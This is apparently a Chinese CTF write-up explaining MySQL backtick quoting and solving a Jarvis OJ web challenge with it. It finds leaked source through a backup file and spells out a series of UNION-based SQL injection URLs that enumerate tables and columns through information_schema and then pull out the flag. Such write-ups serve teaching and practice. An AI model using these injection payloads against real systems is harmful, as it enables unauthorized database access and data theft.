反引号在mysql中的作用
反引号在键盘的左上角,在mysql中可以区别保留字
1 | #假如表A中有一列名为select,查询该列 |
一道与之相关的web题
题目链接:http://web.jarvisoj.com:32794/
Hint1: 先找到源码再说吧~~
后台扫描,得到源码:http://web.jarvisoj.com:32794/index.php~
查看源码:
1 |
|
当table
为空时,输出flag{xxx}
,说明存在表secret_test
。我们直接构造
1 | http://web.jarvisoj.com:32794/index.php?table=test` `union select database() limit 1,1 |
得到数据库61d00,接着爆表:
1 | http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(table_name) from information_schema.tables where table_schema = database() limit 1,1 |
得到secret_flag,secret_test,接着爆字段:
1 | http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(column_name) from information_schema.columns where table_name = 0x7365637265745f666c6167 limit 1,1 |
得到flagUwillNeverKnow,最后爆出flag:
1 | http://web.jarvisoj.com:32794/index.php?table=test` `union select flagUwillNeverKnow from secret_flag limit 1,1 |
flag{luckyGame~}
总结
该题只要清楚mysql中反引号的作用以及desc的使用,就变成了最基本的sql注入,没有过滤任何字符的注入。